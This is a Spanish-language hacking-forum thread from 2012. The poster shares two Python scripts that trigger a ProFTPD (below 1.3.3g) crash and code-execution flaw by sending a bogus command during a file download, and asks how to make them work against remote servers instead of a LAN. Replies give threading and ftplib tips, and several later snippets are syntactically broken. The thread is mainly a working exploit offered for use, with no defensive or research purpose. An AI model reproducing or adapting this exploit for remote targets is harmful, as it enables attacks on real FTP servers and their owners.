Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: Xenomorfo77 en 2 Mayo 2012, 06:00 am



Título: Ayuda con script python
Publicado por: Xenomorfo77 en 2 Mayo 2012, 06:00 am
Hola, he encontrado la manera de explotar una vulnerabilidad en ProFTPD < 1.3.3g pero necesito ayuda para modificar los scripts. La vulnerabilidad reside en enviar un comando inexistente mientras se esta descargando un archivo lo que permite ejecutar codigo. Los scripts estan diseñados para hacerlo en una LAN pero quiero modificarlos para que sirva remotamente.

Este es el primer script:
Código
  1. #!/usr/bin/env python
  2.  
  3. # Parameters
  4. ftpClient = "192.168.1.11"
  5. ftpClientPort = "1025"
  6.  
  7. import socket
  8. import time
  9.  
  10. # Open a socket to receive data    
  11. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  12. s.bind((ftpClient,int(ftpClientPort)))
  13. s.listen(5)        
  14.  
  15. client, address = s.accept()
  16. print client.recv(2)
  17. time.sleep(5)
  18. print client.recv(1024)
  19. client.close()
  20.  
Crea una conexion de datos, lee 2 bytes y espera 5 segundos para que el 2º script envie el comando falso al servidor.

Aqui va el segundo script:

Código
  1. #!/usr/bin/env python
  2.  
  3. # Parameters
  4. ftpServer = "192.168.1.10"
  5. ftpServerPort = 21
  6. ftpUsername = "user"
  7. ftpPassword = "password"
  8. ftpClient = "192.168.1.11"
  9. ftpClientPort = "1025"
  10.  
  11. # Commands to trigger the segmentation fault.
  12. ftpCommands = """USER %s
  13. PASS %s
  14. SYST
  15. TYPE A
  16. PORT %s,%s
  17. RETR nada
  18. WXYZ 0wn3d
  19. QUIT
  20. """ % (ftpUsername, ftpPassword, ftpClient.replace('.',','), "%s,%s"%(("%04x"%int(ftpClientPort))[0:2],("%04x"%int(ftpClientPort))[2:4]))
  21.  
  22. import socket
  23.  
  24. # Open commands socket
  25. sc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  26. sc.connect((ftpServer,ftpServerPort))
  27.  
  28. # Will send FTP commands.
  29. for command in ftpCommands.split('\n'):
  30.    print sc.recv(1024),    
  31.    sc.send(command+'\r\n')
  32.    print command


Lo que quisiera modificar es el comando PORT que se envia por un PASV pero en el primer script no puedo poner una ip publica a ftpClient y no recoje los datos del puerto 1025. ¿Alguna manera de hacerlo? Aviso que no se programar en python pero si me dan una idea me pondre a intentarlo. Un saludo y Gracias.


Elektro H@cker: Usa el botón "insertar código" o el próximo código será eliminado. Salu2.


Título: Re: Ayuda con script python
Publicado por: Runex en 2 Mayo 2012, 07:27 am
Si debes realizar 2 tareas, es decir descargar un archivo y mientras enviar un comando inexistente, deberás usar threading.

Por otra parte porque no utilizas ftplib?, en vez de utilizar sockets.

Puedes leerte la documentación en http://python.org/doc/

Un saludo :)


Título: Re: Ayuda con script python
Publicado por: Xenomorfo77 en 2 Mayo 2012, 07:45 am
Gracias Runex y perdona mi ignorancia pero la libreria ftplib hay que descargarla o ya viene en el sistema?


Título: Re: Ayuda con script python
Publicado por: Xenomorfo77 en 2 Mayo 2012, 08:33 am
Código
  1. #!/usr/bin/env python
  2.  
  3. import threading
  4. from ftplib import FTP
  5.  
  6. ftpIP=''
  7. ftpUser=''
  8. ftpPass=''
  9. ftpFilename=''
  10. i=0
  11. class ThreadC ( threading.Thread ) :
  12.  
  13. def run (self):
  14.  
  15.   ftp = FTP(ftpIP)
  16.           ftp.getwelcome()  
  17.   ftp.login(ftpUser,ftpPass)
  18.   ftp.retrbinary('RETR ' + ftpFilename)
  19.           i=1
  20.  
  21. class ThreadF ( threading.Thread ) :
  22.  
  23. def run (self):
  24.  
  25.          ftp.sendcmd('WXZY *Xenomorfo77/')
  26.  
  27.  
  28. ThreadC.start()
  29. if i == 1:
  30.   ThreadF.start()

Esto es lo que tengo por el momento ya que no tengo ni pajolera idea de python alguien me puede decir si voy bien encaminado? Tambien como hacer para iniciar el proceso F cuando el C este transfiriendo, ya que lo de i = 1, es una porqueria, me tira un error en TreadC.start() que argumento debo poner? Un saludo.


Título: Re: Ayuda con script python
Publicado por: Breixo en 3 Mayo 2012, 01:20 am
Yo para utilizar threads en Python me gusta más hacerlo así:

Código
  1. import threading
  2.  
  3. def proceso1(argumento1,argumento2):
  4.      loquesea
  5.  
  6. def proceso2():
  7.      loquesea
  8.  
  9. thread1 = threading.Thread(target=proceso1,args=(argumento1,argumento2))
  10. thread2 = threading.Thread(target=proceso2)
  11.  
  12. thread1.start()
  13. thread2.start()
  14.  
  15.  

Para lo de la condición esa de i = 1, es algo un poco delicado porque los threads comparten las variables globales y hay que tener cuidado yo lo haría algo así

Código
  1. import threading,
  2.  
  3. class auxiliar:
  4.    def __init__(self,user,pwd)
  5.       self.ftp_user = user
  6.       self.ftp_pwd = pwd
  7.       self.condicion = 0
  8.  
  9.    def proceso1(self,argumento1,argumento2):
  10. //cuando vayas a acceder alguna variable global hay que utilizar locks para
  11. //que no casquen los threads, lo que hacen es apropiarde completamente de la cpu
  12. //hasta que el lock se libere.
  13.         lock = threading.Lock()
  14.         lock.acquire()
  15.         self.condicion = 1
  16.         lock.release()
  17.         loquesea
  18.  
  19.   def proceso2(self):
  20.         loquesea
  21.  
  22.   def ejecucion(self):
  23.        lock = threading.Lock()
  24.        thread1 = threading.Thread(target=self.proceso1,args=(argumento1,argumento2))
  25.        thread2 = threading.Thread(target=self.proceso2)
  26.        thread1.start()
  27.        lock.acquire()
  28. //En ven de un if tienes que poner un while para que se quede esperando a que se active la condicon
  29.        while(self.condicion == 0):
  30.            lock.release()
  31.            sleep(1)
  32.            lock.acquire()
  33.        lock.release()
  34.        thread2.start()
  35.  
  36. aux = auxiliar('user','pwd')
  37. aux.ejecucion()
  38.  
  39.  


Título: Re: Ayuda con script python
Publicado por: Xenomorfo77 en 4 Mayo 2012, 02:13 am
Gracias Breixo, la verdad esque no me he enterado de nada xD pero sin tener ni idea de python que mas se puede pedir,  cuando tenga tiempo me pondre a estudiarlo para entenderlo. He resuelto mi problema de forma cutre haciendo 2 scripts pero weno servir sirve asi que me quedo contento jajaja. Un saludo y gracias por contestar a los 2.